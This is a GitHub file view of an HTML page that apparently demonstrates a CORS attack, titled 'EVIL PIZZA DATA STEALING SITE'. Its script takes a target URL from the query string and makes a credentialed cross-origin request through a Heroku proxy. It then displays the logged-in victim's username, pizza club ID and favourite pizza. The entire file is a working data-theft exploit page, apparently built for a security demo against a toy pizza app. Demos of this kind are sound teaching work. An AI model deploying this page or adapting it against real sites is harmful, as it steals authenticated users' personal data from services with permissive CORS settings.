-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrequest.html
More file actions
42 lines (40 loc) · 1.21 KB
/
request.html
File metadata and controls
42 lines (40 loc) · 1.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<head>
<script src="https://code.jquery.com/jquery-3.1.1.js"></script>
<script>
function getParameterByName(name, url) {
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
$.ajaxSetup({withCredentials:true})
$(function(){
var target_url = getParameterByName('url');
$.ajax({
url:"https://immense-fortress-67240.herokuapp.com/"+target_url,
success:writeData,
xhrFields: {
withCredentials: true
}
});
});
function writeData(data){
var name=data.username;
var pizzaID = data.pizzaClubId;
var favoritePizza = data.favoritePizza;
$('#data').html(`\
Name: ${name}<br>\
Pizza of The Month ID:${pizzaID}<br>\
Favorite Pizza: ${favoritePizza}<br>`)
}
</script>
</head>
<body>
<h1>EVIL PIZZA DATA STEALING SITE</h1>
<div id="data">
if this doesn't change, you're probably not logged in or the console will tell you about your CORS problems
</div>
</body>